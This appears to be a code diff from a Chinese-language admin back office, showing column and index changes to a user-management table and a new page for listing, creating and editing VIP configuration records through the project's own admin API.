| | | { title: "剩余金币", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "1级队员", width: "", orderUp: "5", orderDown: "6" }, |
| | | { title: "用户等级", width: "0.5rem", orderUp: "", orderDown: "" },
|
| | | { title: "会员等级", width: "0.5rem", orderUp: "", orderDown: "" },
|
| | | { title: "激活状态", width: "0.5rem", orderUp: "", orderDown: "" }, |
| | | { title: "账户余额", width: "0.5rem", orderUp: "", orderDown: "" }, |
| | | { title: "累计提现", width: "0.5rem", orderUp: "", orderDown: "" }, |
| | | { title: "未到账收益", width: "0.5rem", orderUp: "", orderDown: "" }, |
| | | { title: "本月订单", width: "0.5rem", orderUp: "3", orderDown: "4" }, |
| | | { title: "累计订单", width: "0.5rem", orderUp: "1", orderDown: "2" }, |
| | | { title: "剩余金币", width: "0.5rem", orderUp: "", orderDown: "" }, |
| | | { title: "1级队员", width: "0.5rem", orderUp: "5", orderDown: "6" }, |
| | | { |
| | | title: "手机号", width: "", orderUp: "", orderDown: "", |
| | | title: "手机号", width: "0.5rem", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "toggle", |
| | | list: [ |
| | |
| | | }, |
| | | }, |
| | | { |
| | | title: "微信", width: "", orderUp: "", orderDown: "", |
| | | title: "微信", width: "0.5rem", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "toggle", |
| | | list: [ |
| | |
| | | }, |
| | | }, |
| | | { |
| | | title: "淘宝", width: "", orderUp: "", orderDown: "", |
| | | title: "淘宝", width: "0.5rem", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "toggle", |
| | | list: [ |
| | |
| | | }, |
| | | }, |
| | | { |
| | | title: "支付宝", width: "", orderUp: "", orderDown: "", |
| | | title: "支付宝", width: "0.5rem", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "toggle", |
| | | list: [ |
| | |
| | | ] |
| | | }, |
| | | }, |
| | | { title: "支付宝收款人", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "注册时间", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "最近登录", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "最近下单", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "标识", width: "", orderUp: "", orderDown: "", |
| | | { title: "支付宝收款人", width: "0.5rem", orderUp: "", orderDown: "" }, |
| | | { title: "注册时间", width: "0.7rem", orderUp: "", orderDown: "" }, |
| | | { title: "最近登录", width: "0.7rem", orderUp: "", orderDown: "" }, |
| | | { title: "最近下单", width: "0.7rem", orderUp: "", orderDown: "" }, |
| | | { title: "标识", width: "0.5rem", orderUp: "", orderDown: "", |
| | | edit: { type: "text"}, |
| | | }, |
| | | ] |
| | |
| | | { |
| | | doui.showLoading({ content: "正在修改" }); |
| | | // 用户封禁 |
| | | if (editData.list[0].key == "userStateOff") |
| | | if (editData.list[3].key == "userStateOff") |
| | | { |
| | | doui.request({ |
| | | type: "jsonp", |
| | |
| | | |
| | | // 帐号解绑 |
| | | var typeArray = []; |
| | | if (editData.list[12].key == "userStateOff") { typeArray.push("3"); } |
| | | if (editData.list[13].key == "userStateOff") { typeArray.push("2"); } |
| | | if (editData.list[14].key == "userStateOff") { typeArray.push("1"); } |
| | | if (editData.list[15].key == "userStateOff") { typeArray.push("4"); } |
| | | if (editData.list[14].key == "userStateOff") { typeArray.push("3"); } |
| | | if (editData.list[15].key == "userStateOff") { typeArray.push("2"); } |
| | | if (editData.list[16].key == "userStateOff") { typeArray.push("1"); } |
| | | if (editData.list[17].key == "userStateOff") { typeArray.push("4"); } |
| | | |
| | | if (typeArray.length > 0) |
| | | { |
| | |
| | | url: gethttp() + "/admin/new/api/v1/user/addUserMark", |
| | | data: { |
| | | uid: editData.list[2].key, |
| | | mark: editData.list[20].key, |
| | | mark: editData.list[22].key, |
| | | }, |
| | | greenChannel: true, |
| | | success: function (res) |
New file |
| | |
| | | <!DOCTYPE html> |
| | | <html> |
| | | <head> |
| | | <meta charset="utf-8"> |
| | | <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" /> |
| | | <title>Vip配置</title> |
| | | <link rel="stylesheet" type="text/css" href="../../css/doui.min.css"/> |
| | | <script src="../../js/doui.min.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../js/requestHost.js" type="text/javascript" charset="utf-8"></script> |
| | | <script type="text/javascript"> |
| | | doui.importLoad({ |
| | | importArray: [ |
| | | // 雷打不动 |
| | | getHostPath() + "js/jquery.min.js", |
| | | getHostPath() + "js/vue.min.js", |
| | | // 字体图标 |
| | | getHostPath() + "fontAdmin/iconfont.css", |
| | | getHostPath() + "font/iconfont.css", |
| | | // dom模板 |
| | | getHostPath() + "css/admin-all.css", |
| | | getHostPath() + "js/admin-creat.js",
|
| | | |
| | | getHostPath() + "js/verify.js", |
| | | ], |
| | | }); |
| | | </script>
|
| | | <style>
|
| | | .admin-table-tr {
|
| | | min-height: 0.1rem;
|
| | | }
|
| | | </style> |
| | | </head> |
| | | <body class="fontPC"> |
| | | <div class="winSizeBox"> |
| | | |
| | | <!-- =============================================================== 搜索筛选(顶部) --> |
| | | <div id="thisHeader" style="width:7.5rem;"></div> |
| | | |
| | | <!-- =============================================================== 表格 --> |
| | | <div id="thisTable" class="admin-main-overHeader"></div> |
| | | |
| | | </div> |
| | | </body> |
| | | </html> |
| | | |
| | | <script type="text/javascript"> |
| | | // doui准备完毕 |
| | | doui.onReady({ |
| | | success: function () |
| | | { |
| | | // ----------------------------------------------------- 顶部 |
| | | // 生成顶部筛选项dom |
| | | adminDom.header.creat({ el: "#thisHeader" }); |
| | | // 输入搜索 |
| | | adminDom.header.input({ placeholder: "根据选择填写", }) |
| | | |
| | | // ----------------------------------------------------- 表格 |
| | | // 表格dom创建 |
| | | adminDom.table.creat({ |
| | | el: "#thisTable", |
| | | // 搜索触发 |
| | | touchSearch: function (optC) |
| | | { |
| | | doui.showLoading({ content: "加载列表" }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/vipConfig/query", |
| | | data: { |
| | | pageIndex: optC.table.page, // 页码 |
| | | pageSize: optC.table.pageSize, // 每页数量 |
| | | key: optC.input[0].result, // 搜索关键字 |
| | | }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | if (res.code != 0) { doui.showToast({ content: res.msg }); } |
| | | else |
| | | { |
| | | // 申明 表格内容数据 |
| | | var mo_tr = []; // tr组 |
| | | for (var i = 0, mo = res.data.result_list; i < mo.length; i++) |
| | | { |
| | | // 当前行 |
| | | var thatTr = { |
| | | check: false, |
| | | td: [ |
| | | { title: "ID", key: mo[i].id, value: mo[i].id }, |
| | | { title: "名称", key: mo[i].name, value: mo[i].name },
|
| | | { title: "标识", key: mo[i].key, value: mo[i].key }, |
| | | { title: "值", key: mo[i].value, value: mo[i].value }, |
| | | { title: "备注", key: mo[i].remark, value: mo[i].remark }, |
| | | { title: "生效时间", key: mo[i].validTime, value: mo[i].startTime }, |
| | | { title: "更新时间", key: mo[i].updateTime, value: mo[i].updateTime }, |
| | | ] |
| | | }; |
| | | |
| | | // 将当前行放入tr组 |
| | | mo_tr.push(thatTr); |
| | | } |
| | | // 更新表格的数据 |
| | | adminDom.table.opt({ pageMax: res.data.pe.totalPage }); // 最大页码 |
| | | adminDom.table.tbody({ tr: mo_tr }); // 内容数据 |
| | | } |
| | | } |
| | | }); |
| | | }, |
| | | }); |
| | | // 表格设置 |
| | | adminDom.table.opt({ pageSize: 20, }); |
| | | // 表格头排 |
| | | adminDom.table.thead({ |
| | | th: [ |
| | | { title: "ID", width: "0.3rem", orderUp: "", orderDown: "" }, |
| | | { title: "名称", width: "0.4rem", orderUp: "", orderDown: "", |
| | | edit: { type: "text" }, |
| | | },
|
| | | { title: "标识", width: "0.4rem", orderUp: "", orderDown: "",
|
| | | edit: { type: "text" },
|
| | | }, |
| | | { title: "值", width: "0.6rem", orderUp: "", orderDown: "", |
| | | edit: { type: "text" }, |
| | | }, |
| | | { title: "备注", width: "0.5rem", orderUp: "", orderDown: "", |
| | | edit: { type: "text" }, |
| | | }, |
| | | { title: "生效时间", width: "0.4rem", orderUp: "", orderDown: "", |
| | | edit: { type: "datetime-local" }, |
| | | },
|
| | | { title: "更新时间", width: "0.4rem", orderUp: "", orderDown: ""},
|
| | | ] |
| | | }); |
| | | |
| | | // 工具栏 |
| | | adminDom.table.tools({ |
| | | show: true, |
| | | list: [ |
| | | { "title": "新建", "name": "add", "icon": "fi fi-plus" }, |
| | | //{ "title": "删除", "name": "del", "icon": "fi fi-trash" }, |
| | | { "title": "修改", "name": "edit", "icon": "fi fi-edit-box" }, |
| | | ], |
| | | touch: function (back) |
| | | { |
| | | // 新建 |
| | | if (back.toolName == "add") |
| | | { |
| | | // 修改弹框创建 |
| | | adminDom.editTan.creat({ |
| | | el: ".winSizeBox", |
| | | touchSubmit: function (thereData) |
| | | { |
| | | // 当前数据 |
| | | var item = thereData.list; |
| | | doui.showLoading("正在新建"); |
| | | // 请求数据 |
| | | var mydata = {
|
| | | name: item[1].key, |
| | | key: item[2].key, |
| | | value: item[3].key, |
| | | remark: item[4].key, |
| | | };
|
| | | if(verifyString(item[5].key)){ mydata.validTime = item[5].key; }
|
| | | |
| | | // 信息上传 |
| | | doui.upload({ |
| | | url: gethttp() + "/admin/new/api/v1/vipConfig/save", |
| | | data: mydata, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | if (res.code != 0) { doui.showToast(res.msg); } |
| | | else { doui.showToast("新建成功"); adminDom.editTan.remove(); vm_table.search(); } |
| | | } |
| | | }); |
| | | }, |
| | | }); |
| | | adminDom.editTan.opt({ title: "新建" }); |
| | | adminDom.editTan.thereData({ show: false, }); |
| | | } |
| | | |
| | | // 删除 |
| | | else if (back.toolName == "del") |
| | | { |
| | | // 被选中的行id组构建 |
| | | var zu_id = new Array(); |
| | | for (var i = 0, mo = back.list; i < mo.length; i++) { zu_id.push(mo[i][0].key); } |
| | | // 发起请求 |
| | | doui.showLoading("正在删除"); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/vipConfig/delete",
|
| | | data: { idArray: zu_id }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | if (res.code != 0) { doui.showToast(res.msg); } |
| | | else { doui.showToast("删除成功"); vm_table.search(); } |
| | | } |
| | | }); |
| | | } |
| | | |
| | | // 修改列表 |
| | | else if (back.toolName == "edit") |
| | | { |
| | | if (back.list.length > 1) { doui.showToast({ content: "一次只能操作一个" }); return false; } |
| | | |
| | | // 修改弹框创建 |
| | | adminDom.editTan.creat({ |
| | | el: ".winSizeBox", |
| | | touchSubmit: function (thereData) |
| | | { |
| | | // 当前数据 |
| | | var item = thereData.list; |
| | | doui.showLoading("正在修改"); |
| | | // 请求数据 |
| | | var mydata = {
|
| | | id: item[0].key, |
| | | name: item[1].key,
|
| | | key: item[2].key, |
| | | value: item[3].key, |
| | | remark: item[4].key, |
| | | };
|
| | | if(verifyString(item[5].key)){ mydata.validTime = item[5].key; }
|
| | | |
| | | // 信息上传 |
| | | doui.upload({
|
| | | url: gethttp() + "/admin/new/api/v1/vipConfig/save",
|
| | | data: mydata,
|
| | | success: function (res) |
| | | {
|
| | | doui.hideLoading();
|
| | | if (res.code != 0) { doui.showToast(res.msg); }
|
| | | else { doui.showToast("修改成功"); adminDom.editTan.remove(); vm_table.search(); }
|
| | | }
|
| | | }); |
| | | }, |
| | | }); |
| | | adminDom.editTan.opt({ title: "修改" }); |
| | | adminDom.editTan.thereData({ show: true, list: back.list[0] }); |
| | | } |
| | | } |
| | | }); |
| | | |
| | | // ----------------------------------------------------- 初始操作 |
| | | // 模拟搜索点击 |
| | | vm_table.search(); |
| | | } |
| | | }); |
| | | |
| | | </script> |